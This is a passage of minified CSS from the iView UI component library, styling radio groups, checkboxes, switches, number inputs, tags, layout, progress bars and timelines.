ease-in-out;transition:all .2s ease-in-out}.ivu-radio-group-button .ivu-radio-wrapper:after{height:36px;left:-1px;top:-3px;background:rgba(45,140,240,.2);opacity:0}.ivu-radio-group-button .ivu-radio-wrapper:first-child{border-radius:4px 0 0 4px;border-left:1px solid #dcdee2}.ivu-radio-group-button .ivu-radio-wrapper:first-child:after,.ivu-radio-group-button .ivu-radio-wrapper:first-child:before{display:none}.ivu-radio-group-button .ivu-radio-wrapper:last-child{border-radius:0 4px 4px 0}.ivu-radio-group-button .ivu-radio-wrapper:first-child:last-child{border-radius:4px}.ivu-radio-group-button .ivu-radio-wrapper:hover{position:relative;color:#2d8cf0}.ivu-radio-group-button .ivu-radio-wrapper:hover .ivu-radio{background-color:#000}.ivu-radio-group-button .ivu-radio-wrapper .ivu-radio-inner,.ivu-radio-group-button .ivu-radio-wrapper input{opacity:0;width:0;height:0}.ivu-radio-group-button .ivu-radio-wrapper-checked{background:#fff;border-color:#2d8cf0;color:#2d8cf0;-webkit-box-shadow:-1px 0 0 0 #2d8cf0;box-shadow:-1px 0 0 0 #2d8cf0;z-index:1}.ivu-radio-group-button .ivu-radio-wrapper-checked:before{background:#2d8cf0;opacity:.1}.ivu-radio-group-button .ivu-radio-wrapper-checked.ivu-radio-focus{-webkit-box-shadow:-1px 0 0 0 #2d8cf0,0 0 0 2px rgba(45,140,240,.2);box-shadow:-1px 0 0 0 #2d8cf0,0 0 0 2px rgba(45,140,240,.2);-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-radio-group-button .ivu-radio-wrapper-checked.ivu-radio-focus:after{left:-3px;top:-3px;opacity:1;background:rgba(45,140,240,.2)}.ivu-radio-group-button .ivu-radio-wrapper-checked.ivu-radio-focus:first-child{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-radio-group-button .ivu-radio-wrapper-checked:first-child{border-color:#2d8cf0;-webkit-box-shadow:none;box-shadow:none}.ivu-radio-group-button .ivu-radio-wrapper-checked:hover{border-color:#57a3f3;color:#57a3f3}.ivu-radio-group-button .ivu-radio-wrapper-checked:active{border-color:#2b85e4;color:#2b85e4}.ivu-radio-group-button .ivu-radio-wrapper-disabled{border-color:#dcdee2;background-color:#f7f7f7;cursor:not-allowed;color:#ccc}.ivu-radio-group-button .ivu-radio-wrapper-disabled:first-child,.ivu-radio-group-button .ivu-radio-wrapper-disabled:hover{border-color:#dcdee2;background-color:#f7f7f7;color:#ccc}.ivu-radio-group-button .ivu-radio-wrapper-disabled:first-child{border-left-color:#dcdee2}.ivu-radio-group-button .ivu-radio-wrapper-disabled.ivu-radio-wrapper-checked{color:#fff;background-color:#e6e6e6;border-color:#dcdee2;-webkit-box-shadow:none!important;box-shadow:none!important}.ivu-radio-group-button.ivu-radio-group-large .ivu-radio-wrapper{height:36px;line-height:34px;font-size:14px}.ivu-radio-group-button.ivu-radio-group-large .ivu-radio-wrapper:after{height:40px}.ivu-radio-group-button.ivu-radio-group-small .ivu-radio-wrapper{height:24px;line-height:22px;padding:0 12px;font-size:12px}.ivu-radio-group-button.ivu-radio-group-small .ivu-radio-wrapper:after{height:28px}.ivu-radio-group-button.ivu-radio-group-small .ivu-radio-wrapper:first-child{border-radius:3px 0 0 3px}.ivu-radio-group-button.ivu-radio-group-small .ivu-radio-wrapper:last-child{border-radius:0 3px 3px 0}.ivu-checkbox-focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2);z-index:1}.ivu-checkbox{display:inline-block;vertical-align:middle;white-space:nowrap;cursor:pointer;line-height:1;position:relative}.ivu-checkbox-disabled{cursor:not-allowed}.ivu-checkbox:hover .ivu-checkbox-inner{border-color:#bcbcbc}.ivu-checkbox-inner{display:inline-block;width:14px;height:14px;position:relative;top:0;left:0;border:1px solid #dcdee2;border-radius:2px;background-color:#fff;-webkit-transition:border-color .2s ease-in-out,background-color .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border-color .2s ease-in-out,background-color .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border-color .2s ease-in-out,background-color .2s ease-in-out,box-shadow .2s ease-in-out;transition:border-color .2s ease-in-out,background-color .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out}.ivu-checkbox-inner:after{content:'';display:table;width:4px;height:8px;position:absolute;top:1px;left:4px;border:2px solid #fff;border-top:0;border-left:0;-webkit-transform:rotate(45deg) scale(0);-ms-transform:rotate(45deg) scale(0);transform:rotate(45deg) scale(0);-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-checkbox-large .ivu-checkbox-inner{width:16px;height:16px}.ivu-checkbox-large .ivu-checkbox-inner:after{width:5px;height:9px}.ivu-checkbox-small{font-size:12px}.ivu-checkbox-small .ivu-checkbox-inner{width:12px;height:12px}.ivu-checkbox-small .ivu-checkbox-inner:after{top:0;left:3px}.ivu-checkbox-input{width:100%;height:100%;position:absolute;top:0;bottom:0;left:0;right:0;z-index:1;cursor:pointer;opacity:0}.ivu-checkbox-input[disabled]{cursor:not-allowed}.ivu-checkbox-checked:hover .ivu-checkbox-inner{border-color:#2d8cf0}.ivu-checkbox-checked .ivu-checkbox-inner{border-color:#2d8cf0;background-color:#2d8cf0}.ivu-checkbox-checked .ivu-checkbox-inner:after{content:'';display:table;width:4px;height:8px;position:absolute;top:1px;left:4px;border:2px solid #fff;border-top:0;border-left:0;-webkit-transform:rotate(45deg) scale(1);-ms-transform:rotate(45deg) scale(1);transform:rotate(45deg) scale(1);-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-checkbox-large .ivu-checkbox-checked .ivu-checkbox-inner:after{width:5px;height:9px}.ivu-checkbox-small .ivu-checkbox-checked .ivu-checkbox-inner:after{top:0;left:3px}.ivu-checkbox-disabled.ivu-checkbox-checked:hover .ivu-checkbox-inner{border-color:#dcdee2}.ivu-checkbox-disabled.ivu-checkbox-checked .ivu-checkbox-inner{background-color:#f3f3f3;border-color:#dcdee2}.ivu-checkbox-disabled.ivu-checkbox-checked .ivu-checkbox-inner:after{-webkit-animation-name:none;animation-name:none;border-color:#ccc}.ivu-checkbox-disabled:hover .ivu-checkbox-inner{border-color:#dcdee2}.ivu-checkbox-disabled .ivu-checkbox-inner{border-color:#dcdee2;background-color:#f3f3f3}.ivu-checkbox-disabled .ivu-checkbox-inner:after{-webkit-animation-name:none;animation-name:none;border-color:#f3f3f3}.ivu-checkbox-disabled .ivu-checkbox-inner-input{cursor:default}.ivu-checkbox-disabled+span{color:#ccc;cursor:not-allowed}.ivu-checkbox-indeterminate .ivu-checkbox-inner:after{content:'';width:8px;height:1px;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1);position:absolute;left:2px;top:5px}.ivu-checkbox-indeterminate:hover .ivu-checkbox-inner{border-color:#2d8cf0}.ivu-checkbox-indeterminate .ivu-checkbox-inner{background-color:#2d8cf0;border-color:#2d8cf0}.ivu-checkbox-indeterminate.ivu-checkbox-disabled .ivu-checkbox-inner{background-color:#f3f3f3;border-color:#dcdee2}.ivu-checkbox-indeterminate.ivu-checkbox-disabled .ivu-checkbox-inner:after{border-color:#c5c8ce}.ivu-checkbox-large .ivu-checkbox-indeterminate .ivu-checkbox-inner:after{width:10px;top:6px}.ivu-checkbox-small .ivu-checkbox-indeterminate .ivu-checkbox-inner:after{width:6px;top:4px}.ivu-checkbox-wrapper{cursor:pointer;font-size:12px;display:inline-block;margin-right:8px}.ivu-checkbox-wrapper-disabled{cursor:not-allowed}.ivu-checkbox-wrapper.ivu-checkbox-large{font-size:14px}.ivu-checkbox+span,.ivu-checkbox-wrapper+span{margin-right:4px}.ivu-checkbox-group{font-size:14px}.ivu-checkbox-group-item{display:inline-block}.ivu-switch{display:inline-block;width:44px;height:22px;line-height:20px;border-radius:22px;vertical-align:middle;border:1px solid #ccc;background-color:#ccc;position:relative;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-switch-loading{opacity:.4}.ivu-switch-inner{color:#fff;font-size:12px;position:absolute;left:23px}.ivu-switch-inner i{width:12px;height:12px;text-align:center;position:relative;top:-1px}.ivu-switch:after{content:'';width:18px;height:18px;border-radius:18px;background-color:#fff;position:absolute;left:1px;top:1px;cursor:pointer;-webkit-transition:left .2s ease-in-out,width .2s ease-in-out;transition:left .2s ease-in-out,width .2s ease-in-out}.ivu-switch:active:after{width:26px}.ivu-switch:before{content:'';display:none;width:14px;height:14px;border-radius:50%;background-color:transparent;position:absolute;left:3px;top:3px;z-index:1;border:1px solid #2d8cf0;border-color:transparent transparent transparent #2d8cf0;-webkit-animation:switch-loading 1s linear;animation:switch-loading 1s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.ivu-switch-loading:before{display:block}.ivu-switch:focus{-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2);outline:0}.ivu-switch:focus:hover{-webkit-box-shadow:none;box-shadow:none}.ivu-switch-small{width:28px;height:16px;line-height:14px}.ivu-switch-small:after{width:12px;height:12px}.ivu-switch-small:active:after{width:14px}.ivu-switch-small:before{width:10px;height:10px;left:2px;top:2px}.ivu-switch-small.ivu-switch-checked:after{left:13px}.ivu-switch-small.ivu-switch-checked:before{left:14px}.ivu-switch-small:active.ivu-switch-checked:after{left:11px}.ivu-switch-large{width:56px}.ivu-switch-large:active:after{width:26px}.ivu-switch-large:active:after{width:30px}.ivu-switch-large.ivu-switch-checked:after{left:35px}.ivu-switch-large.ivu-switch-checked:before{left:37px}.ivu-switch-large:active.ivu-switch-checked:after{left:23px}.ivu-switch-checked{border-color:#2d8cf0;background-color:#2d8cf0}.ivu-switch-checked .ivu-switch-inner{left:7px}.ivu-switch-checked:after{left:23px}.ivu-switch-checked:before{left:25px}.ivu-switch-checked:active:after{left:15px}.ivu-switch-disabled{cursor:not-allowed;opacity:.4}.ivu-switch-disabled:after{background:#fff;cursor:not-allowed}.ivu-switch-disabled .ivu-switch-inner{color:#fff}.ivu-switch-disabled.ivu-switch-checked{border-color:#2d8cf0;background-color:#2d8cf0;opacity:.4}.ivu-switch-disabled.ivu-switch-checked:after{background:#fff}.ivu-switch-disabled.ivu-switch-checked .ivu-switch-inner{color:#fff}@-webkit-keyframes switch-loading{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes switch-loading{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ivu-input-number{display:inline-block;width:100%;line-height:1.5;padding:4px 7px;font-size:12px;color:#515a6e;background-color:#fff;background-image:none;position:relative;cursor:text;-webkit-transition:border .2s ease-in-out,background .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,background .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,background .2s ease-in-out,box-shadow .2s ease-in-out;transition:border .2s ease-in-out,background .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;margin:0;padding:0;width:80px;height:32px;line-height:32px;vertical-align:middle;border:1px solid #dcdee2;border-radius:4px;overflow:hidden}.ivu-input-number::-moz-placeholder{color:#c5c8ce;opacity:1}.ivu-input-number:-ms-input-placeholder{color:#c5c8ce}.ivu-input-number::-webkit-input-placeholder{color:#c5c8ce}.ivu-input-number:hover{border-color:#57a3f3}.ivu-input-number:focus{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-input-number[disabled],fieldset[disabled] .ivu-input-number{background-color:#f3f3f3;opacity:1;cursor:not-allowed;color:#ccc}.ivu-input-number[disabled]:hover,fieldset[disabled] .ivu-input-number:hover{border-color:#e3e5e8}textarea.ivu-input-number{max-width:100%;height:auto;min-height:32px;vertical-align:bottom;font-size:14px}.ivu-input-number-large{font-size:14px;padding:6px 7px;height:36px}.ivu-input-number-small{padding:1px 7px;height:24px;border-radius:3px}.ivu-input-number-handler-wrap{width:22px;height:100%;border-left:1px solid #dcdee2;border-radius:0 4px 4px 0;background:#fff;position:absolute;top:0;right:0;opacity:0;-webkit-transition:opacity .2s ease-in-out;transition:opacity .2s ease-in-out}.ivu-input-number:hover .ivu-input-number-handler-wrap{opacity:1}.ivu-input-number-handler-up{cursor:pointer}.ivu-input-number-handler-up-inner{top:1px}.ivu-input-number-handler-down{border-top:1px solid #dcdee2;top:-1px;cursor:pointer}.ivu-input-number-handler{display:block;width:100%;height:16px;line-height:0;text-align:center;overflow:hidden;color:#999;position:relative}.ivu-input-number-handler:hover .ivu-input-number-handler-down-inner,.ivu-input-number-handler:hover .ivu-input-number-handler-up-inner{color:#57a3f3}.ivu-input-number-handler-down-inner,.ivu-input-number-handler-up-inner{width:12px;height:12px;line-height:12px;font-size:14px;color:#999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;position:absolute;right:5px;-webkit-transition:all .2s linear;transition:all .2s linear}.ivu-input-number:hover{border-color:#57a3f3}.ivu-input-number-focused{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-input-number-disabled{background-color:#f3f3f3;opacity:1;cursor:not-allowed;color:#ccc}.ivu-input-number-disabled:hover{border-color:#e3e5e8}.ivu-input-number-input-wrap{overflow:hidden;height:32px}.ivu-input-number-input{width:100%;height:32px;line-height:32px;padding:0 7px;text-align:left;outline:0;-moz-appearance:textfield;color:#666;border:0;border-radius:4px;-webkit-transition:all .2s linear;transition:all .2s linear}.ivu-input-number-input[disabled]{background-color:#f3f3f3;opacity:1;cursor:not-allowed;color:#ccc}.ivu-input-number-input[disabled]:hover{border-color:#e3e5e8}.ivu-input-number-input::-webkit-input-placeholder{color:#c5c8ce}.ivu-input-number-input::-ms-input-placeholder{color:#c5c8ce}.ivu-input-number-input::placeholder{color:#c5c8ce}.ivu-input-number-large{padding:0}.ivu-input-number-large .ivu-input-number-input-wrap{height:36px}.ivu-input-number-large .ivu-input-number-handler{height:18px}.ivu-input-number-large input{height:36px;line-height:36px}.ivu-input-number-large .ivu-input-number-handler-up-inner{top:2px}.ivu-input-number-large .ivu-input-number-handler-down-inner{bottom:2px}.ivu-input-number-small{padding:0}.ivu-input-number-small .ivu-input-number-input-wrap{height:24px}.ivu-input-number-small .ivu-input-number-handler{height:12px}.ivu-input-number-small input{height:24px;line-height:24px;margin-top:-1px;vertical-align:top}.ivu-input-number-small .ivu-input-number-handler-up-inner{top:-1px}.ivu-input-number-small .ivu-input-number-handler-down-inner{bottom:-1px}.ivu-input-number-disabled .ivu-input-number-handler-down-inner,.ivu-input-number-disabled .ivu-input-number-handler-up-inner,.ivu-input-number-handler-down-disabled .ivu-input-number-handler-down-inner,.ivu-input-number-handler-down-disabled .ivu-input-number-handler-up-inner,.ivu-input-number-handler-up-disabled .ivu-input-number-handler-down-inner,.ivu-input-number-handler-up-disabled .ivu-input-number-handler-up-inner{opacity:.72;color:#ccc!important;cursor:not-allowed}.ivu-input-number-disabled .ivu-input-number-input{opacity:.72;cursor:not-allowed;background-color:#f3f3f3}.ivu-input-number-disabled .ivu-input-number-handler-wrap{display:none}.ivu-input-number-disabled .ivu-input-number-handler{opacity:.72;color:#ccc!important;cursor:not-allowed}.ivu-form-item-error .ivu-input-number{border:1px solid #ed4014}.ivu-form-item-error .ivu-input-number:hover{border-color:#ed4014}.ivu-form-item-error .ivu-input-number:focus{border-color:#ed4014;outline:0;-webkit-box-shadow:0 0 0 2px rgba(237,64,20,.2);box-shadow:0 0 0 2px rgba(237,64,20,.2)}.ivu-form-item-error .ivu-input-number-focused{border-color:#ed4014;outline:0;-webkit-box-shadow:0 0 0 2px rgba(237,64,20,.2);box-shadow:0 0 0 2px rgba(237,64,20,.2)}.ivu-scroll-wrapper{width:auto;margin:0 auto;position:relative;outline:0}.ivu-scroll-container{overflow-y:scroll}.ivu-scroll-content{opacity:1;-webkit-transition:opacity .5s;transition:opacity .5s}.ivu-scroll-content-loading{opacity:.5}.ivu-scroll-loader{text-align:center;padding:0;-webkit-transition:padding .5s;transition:padding .5s}.ivu-scroll-loader-wrapper{padding:5px 0;height:0;background-color:inherit;-webkit-transform:scale(0);-ms-transform:scale(0);transform:scale(0);-webkit-transition:opacity .3s,height .5s,-webkit-transform .5s;transition:opacity .3s,height .5s,-webkit-transform .5s;transition:opacity .3s,transform .5s,height .5s;transition:opacity .3s,transform .5s,height .5s,-webkit-transform .5s}.ivu-scroll-loader-wrapper-active{height:40px;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}@-webkit-keyframes ani-demo-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ani-demo-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ivu-scroll-loader-wrapper .ivu-scroll-spinner{position:relative}.ivu-scroll-loader-wrapper .ivu-scroll-spinner-icon{-webkit-animation:ani-demo-spin 1s linear infinite;animation:ani-demo-spin 1s linear infinite}.ivu-tag{display:inline-block;height:22px;line-height:22px;margin:2px 4px 2px 0;padding:0 8px;border:1px solid #e8eaec;border-radius:3px;background:#f7f7f7;font-size:12px;vertical-align:middle;opacity:1;overflow:hidden;cursor:pointer}.ivu-tag:not(.ivu-tag-border):not(.ivu-tag-dot):not(.ivu-tag-checked){background:0 0;border:0;color:#515a6e}.ivu-tag:not(.ivu-tag-border):not(.ivu-tag-dot):not(.ivu-tag-checked) .ivu-icon-ios-close{color:#515a6e!important}.ivu-tag-color-error{color:#ed4014!important;border-color:#ed4014}.ivu-tag-color-success{color:#19be6b!important;border-color:#19be6b}.ivu-tag-color-primary{color:#2d8cf0!important;border-color:#2d8cf0}.ivu-tag-color-warning{color:#f90!important;border-color:#f90}.ivu-tag-color-white{color:#fff!important}.ivu-tag-dot{height:32px;line-height:32px;border:1px solid #e8eaec!important;color:#515a6e!important;background:#fff!important;padding:0 12px}.ivu-tag-dot-inner{display:inline-block;width:12px;height:12px;margin-right:8px;border-radius:50%;background:#e8eaec;position:relative;top:1px}.ivu-tag-dot .ivu-icon-ios-close{color:#666!important;margin-left:12px!important}.ivu-tag-border{height:24px;line-height:24px;border:1px solid #e8eaec;color:#e8eaec;background:#fff!important;position:relative}.ivu-tag-border .ivu-icon-ios-close{color:#666;margin-left:12px!important}.ivu-tag-border:after{content:\"\";display:none;width:1px;background:currentColor;position:absolute;top:0;bottom:0;right:22px}.ivu-tag-border.ivu-tag-closable:after{display:block}.ivu-tag-border.ivu-tag-closable .ivu-icon-ios-close{margin-left:18px!important;left:4px;top:-1px}.ivu-tag-border.ivu-tag-primary{color:#2d8cf0!important;border:1px solid #2d8cf0!important}.ivu-tag-border.ivu-tag-primary:after{background:#2d8cf0}.ivu-tag-border.ivu-tag-primary .ivu-icon-ios-close{color:#2d8cf0!important}.ivu-tag-border.ivu-tag-success{color:#19be6b!important;border:1px solid #19be6b!important}.ivu-tag-border.ivu-tag-success:after{background:#19be6b}.ivu-tag-border.ivu-tag-success .ivu-icon-ios-close{color:#19be6b!important}.ivu-tag-border.ivu-tag-warning{color:#f90!important;border:1px solid #f90!important}.ivu-tag-border.ivu-tag-warning:after{background:#f90}.ivu-tag-border.ivu-tag-warning .ivu-icon-ios-close{color:#f90!important}.ivu-tag-border.ivu-tag-error{color:#ed4014!important;border:1px solid #ed4014!important}.ivu-tag-border.ivu-tag-error:after{background:#ed4014}.ivu-tag-border.ivu-tag-error .ivu-icon-ios-close{color:#ed4014!important}.ivu-tag:hover{opacity:.85}.ivu-tag-text{color:#515a6e}.ivu-tag-text a:first-child:last-child{display:inline-block;margin:0 -8px;padding:0 8px}.ivu-tag .ivu-icon-ios-close{display:inline-block;font-size:14px;-webkit-transform:scale(1.42857143) rotate(0);-ms-transform:scale(1.42857143) rotate(0);transform:scale(1.42857143) rotate(0);cursor:pointer;margin-left:2px;color:#666;opacity:.66;position:relative;top:-1px}:root .ivu-tag .ivu-icon-ios-close{font-size:14px}.ivu-tag .ivu-icon-ios-close:hover{opacity:1}.ivu-tag-error,.ivu-tag-primary,.ivu-tag-success,.ivu-tag-warning{border:0}.ivu-tag-error,.ivu-tag-error .ivu-icon-ios-close,.ivu-tag-error .ivu-icon-ios-close:hover,.ivu-tag-error a,.ivu-tag-error a:hover,.ivu-tag-primary,.ivu-tag-primary .ivu-icon-ios-close,.ivu-tag-primary .ivu-icon-ios-close:hover,.ivu-tag-primary a,.ivu-tag-primary a:hover,.ivu-tag-success,.ivu-tag-success .ivu-icon-ios-close,.ivu-tag-success .ivu-icon-ios-close:hover,.ivu-tag-success a,.ivu-tag-success a:hover,.ivu-tag-warning,.ivu-tag-warning .ivu-icon-ios-close,.ivu-tag-warning .ivu-icon-ios-close:hover,.ivu-tag-warning a,.ivu-tag-warning a:hover{color:#fff}.ivu-tag-primary,.ivu-tag-primary.ivu-tag-dot .ivu-tag-dot-inner{background:#2d8cf0}.ivu-tag-success,.ivu-tag-success.ivu-tag-dot .ivu-tag-dot-inner{background:#19be6b}.ivu-tag-warning,.ivu-tag-warning.ivu-tag-dot .ivu-tag-dot-inner{background:#f90}.ivu-tag-error,.ivu-tag-error.ivu-tag-dot .ivu-tag-dot-inner{background:#ed4014}.ivu-tag-pink{line-height:20px;background:#fff0f6;border-color:#ffadd2}.ivu-tag-pink .ivu-tag-text{color:#eb2f96!important}.ivu-tag-pink.ivu-tag-dot{line-height:32px}.ivu-tag-magenta{line-height:20px;background:#fff0f6;border-color:#ffadd2}.ivu-tag-magenta .ivu-tag-text{color:#eb2f96!important}.ivu-tag-magenta.ivu-tag-dot{line-height:32px}.ivu-tag-red{line-height:20px;background:#fff1f0;border-color:#ffa39e}.ivu-tag-red .ivu-tag-text{color:#f5222d!important}.ivu-tag-red.ivu-tag-dot{line-height:32px}.ivu-tag-volcano{line-height:20px;background:#fff2e8;border-color:#ffbb96}.ivu-tag-volcano .ivu-tag-text{color:#fa541c!important}.ivu-tag-volcano.ivu-tag-dot{line-height:32px}.ivu-tag-orange{line-height:20px;background:#fff7e6;border-color:#ffd591}.ivu-tag-orange .ivu-tag-text{color:#fa8c16!important}.ivu-tag-orange.ivu-tag-dot{line-height:32px}.ivu-tag-yellow{line-height:20px;background:#feffe6;border-color:#fffb8f}.ivu-tag-yellow .ivu-tag-text{color:#fadb14!important}.ivu-tag-yellow.ivu-tag-dot{line-height:32px}.ivu-tag-gold{line-height:20px;background:#fffbe6;border-color:#ffe58f}.ivu-tag-gold .ivu-tag-text{color:#faad14!important}.ivu-tag-gold.ivu-tag-dot{line-height:32px}.ivu-tag-cyan{line-height:20px;background:#e6fffb;border-color:#87e8de}.ivu-tag-cyan .ivu-tag-text{color:#13c2c2!important}.ivu-tag-cyan.ivu-tag-dot{line-height:32px}.ivu-tag-lime{line-height:20px;background:#fcffe6;border-color:#eaff8f}.ivu-tag-lime .ivu-tag-text{color:#a0d911!important}.ivu-tag-lime.ivu-tag-dot{line-height:32px}.ivu-tag-green{line-height:20px;background:#f6ffed;border-color:#b7eb8f}.ivu-tag-green .ivu-tag-text{color:#52c41a!important}.ivu-tag-green.ivu-tag-dot{line-height:32px}.ivu-tag-blue{line-height:20px;background:#e6f7ff;border-color:#91d5ff}.ivu-tag-blue .ivu-tag-text{color:#1890ff!important}.ivu-tag-blue.ivu-tag-dot{line-height:32px}.ivu-tag-geekblue{line-height:20px;background:#f0f5ff;border-color:#adc6ff}.ivu-tag-geekblue .ivu-tag-text{color:#2f54eb!important}.ivu-tag-geekblue.ivu-tag-dot{line-height:32px}.ivu-tag-purple{line-height:20px;background:#f9f0ff;border-color:#d3adf7}.ivu-tag-purple .ivu-tag-text{color:#722ed1!important}.ivu-tag-purple.ivu-tag-dot{line-height:32px}.ivu-layout{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-flex:1;-ms-flex:auto;flex:auto;background:#f5f7f9}.ivu-layout.ivu-layout-has-sider{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.ivu-layout.ivu-layout-has-sider>.ivu-layout,.ivu-layout.ivu-layout-has-sider>.ivu-layout-content{overflow-x:hidden}.ivu-layout-footer,.ivu-layout-header{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-layout-header{background:#515a6e;padding:0 50px;height:64px;line-height:64px}.ivu-layout-sider{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;position:relative;background:#515a6e;min-width:0}.ivu-layout-sider-children{height:100%;padding-top:.1px;margin-top:-.1px}.ivu-layout-sider-has-trigger{padding-bottom:48px}.ivu-layout-sider-trigger{position:fixed;bottom:0;text-align:center;cursor:pointer;height:48px;line-height:48px;color:#fff;background:#515a6e;z-index:1000;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-layout-sider-trigger .ivu-icon{font-size:16px}.ivu-layout-sider-trigger>*{-webkit-transition:all .2s;transition:all .2s}.ivu-layout-sider-trigger-collapsed .ivu-layout-sider-trigger-icon{-webkit-transform:rotateZ(180deg);-ms-transform:rotate(180deg);transform:rotateZ(180deg)}.ivu-layout-sider-zero-width>*{overflow:hidden}.ivu-layout-sider-zero-width-trigger{position:absolute;top:64px;right:-36px;text-align:center;width:36px;height:42px;line-height:42px;background:#515a6e;color:#fff;font-size:18px;border-radius:0 6px 6px 0;cursor:pointer;-webkit-transition:background .3s ease;transition:background .3s ease}.ivu-layout-sider-zero-width-trigger:hover{background:#626b7d}.ivu-layout-sider-zero-width-trigger.ivu-layout-sider-zero-width-trigger-left{right:0;left:-36px;border-radius:6px 0 0 6px}.ivu-layout-footer{background:#f5f7f9;padding:24px 50px;color:#515a6e;font-size:14px}.ivu-layout-content{-webkit-box-flex:1;-ms-flex:auto;flex:auto}.ivu-loading-bar{width:100%;position:fixed;top:0;left:0;right:0;z-index:2000}.ivu-loading-bar-inner{-webkit-transition:width .2s linear;transition:width .2s linear}.ivu-loading-bar-inner-color-primary{background-color:#2d8cf0}.ivu-loading-bar-inner-failed-color-error{background-color:#ed4014}.ivu-progress{display:inline-block;width:100%;font-size:12px;position:relative}.ivu-progress-vertical{height:100%;width:auto}.ivu-progress-outer{display:inline-block;width:100%;margin-right:0;padding-right:0}.ivu-progress-show-info .ivu-progress-outer{padding-right:55px;margin-right:-55px}.ivu-progress-vertical .ivu-progress-outer{height:100%;width:auto}.ivu-progress-inner{display:inline-block;width:100%;background-color:#f3f3f3;border-radius:100px;vertical-align:middle;position:relative}.ivu-progress-vertical .ivu-progress-inner{height:100%;width:auto}.ivu-progress-vertical .ivu-progress-inner:after,.ivu-progress-vertical .ivu-progress-inner>*{display:inline-block;vertical-align:bottom}.ivu-progress-vertical .ivu-progress-inner:after{content:'';height:100%}.ivu-progress-bg{border-radius:100px;background-color:#2d8cf0;-webkit-transition:all .2s linear;transition:all .2s linear;position:relative}.ivu-progress-success-bg{border-radius:100px;background-color:#19be6b;-webkit-transition:all .2s linear;transition:all .2s linear;position:absolute;top:0;left:0}.ivu-progress-text{display:inline-block;margin-left:5px;text-align:left;font-size:1em;vertical-align:middle}.ivu-progress-active .ivu-progress-bg:before{content:'';opacity:0;position:absolute;top:0;left:0;right:0;bottom:0;background:#fff;border-radius:10px;-webkit-animation:ivu-progress-active 2s ease-in-out infinite;animation:ivu-progress-active 2s ease-in-out infinite}.ivu-progress-vertical.ivu-progress-active .ivu-progress-bg:before{top:auto;-webkit-animation:ivu-progress-active-vertical 2s ease-in-out infinite;animation:ivu-progress-active-vertical 2s ease-in-out infinite}.ivu-progress-wrong .ivu-progress-bg{background-color:#ed4014}.ivu-progress-wrong .ivu-progress-text{color:#ed4014}.ivu-progress-success .ivu-progress-bg{background-color:#19be6b}.ivu-progress-success .ivu-progress-text{color:#19be6b}@-webkit-keyframes ivu-progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}@keyframes ivu-progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}@-webkit-keyframes ivu-progress-active-vertical{0%{opacity:.3;height:0}100%{opacity:0;height:100%}}@keyframes ivu-progress-active-vertical{0%{opacity:.3;height:0}100%{opacity:0;height:100%}}.ivu-timeline{list-style:none;margin:0;padding:0}.ivu-timeline-item{margin:0!important;padding:0 0 12px 0;list-style:none;position:relative}.ivu-timeline-item-tail{height:100%;border-left:1px solid #e8eaec;position:absolute;left:6px;top:0}.ivu-timeline-item-pending .ivu-timeline-item-tail{display:none}.ivu-timeline-item-head{width:13px;height:13px;background-color:#fff;border-radius:50%;border:1px solid transparent;position:absolute}.ivu-timeline-item-head-blue{border-color:#2d8cf0;color:#2d8cf0}.ivu-timeline-item-head-red{border-color:#ed4014;color:#ed4014}.ivu-timeline-item-head-green{border-color:#19be6b;color:#19be6b}.ivu-timeline-item-head-custom{width:40px;height:auto;margin-top:6px;padding:3px 0;text-align:center;line-height:1;border:0;border-radius:0;font-size:14px;position:absolute;left:-13px;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ivu-timeline-item-content{padding:1px 1px 10px 